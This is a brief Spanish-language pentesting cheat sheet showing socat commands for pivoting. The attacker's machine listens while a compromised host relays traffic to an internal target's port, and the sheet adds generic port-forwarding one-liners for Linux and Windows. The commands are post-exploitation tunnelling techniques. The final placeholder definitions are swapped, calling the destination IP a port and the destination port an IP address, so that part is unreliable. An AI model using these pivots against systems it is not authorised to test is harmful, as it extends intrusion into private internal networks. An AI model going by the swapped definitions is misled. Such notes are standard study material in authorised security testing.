socat

Remote port forwarding

# General
./socat tcp-l:<link-port> tcp-l:<local-port>,fork,reuseaddr &
./socat tcp:<attacker-IP-address>:<link-port> tcp:<destination-IP-address>:<destination-port>,fork &
http://127.0.0.1:<local-port>

# Ejemplo para acceder al puerto 80 de la máquina a la cual deseamos pivotear
# máquina atacante
./socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &
# máquina que nos permite pivotear
./socat tcp:<attacker-IP-address>:8001 tcp:<destination-IP-address>:80,fork &
# máquina atacante
http://127.0.0.1:8000

• <link-port> = puerto link entre nuestra máquina (atacante) y máquina que nos permite pivotear.

• <local-port> = puerto local de nuestra máquina (atacante).

• <attacker-IP-address> = dirección IP de nuestra máquina (atacante).

• <destination-IP-address> = dirección IP de la máquina de destino a la cual deseamos pivotear.

• <destination-port> = puerto de la máquina de destino a la cual deseamos pivotear.

Port forwarding

# Linux/Unix
## proceso en foreground
./socat TCP-LISTEN:<listen-local-port>,fork tcp:<destination-IP-address>:<destination-port>
## proceso en background
./socat TCP-LISTEN:<listen-local-port>,fork tcp:<destination-IP-address>:<destination-port> &

# Windows
## proceso en foreground
socat.exe TCP-LISTEN:<listen-local-port>,fork tcp:<destination-IP-address>:<destination-port>
## proceso en background
start /B socat.exe TCP-LISTEN:<listen-local-port>,fork tcp:<destination-IP-address>:<destination-port>

• <listen-local-port> = puerto local de la máquina que realiza el port forwarding.

• <destination-IP-address> = puerto de la máquina de destino.

• <destination-port> = dirección IP de la máquina de destino.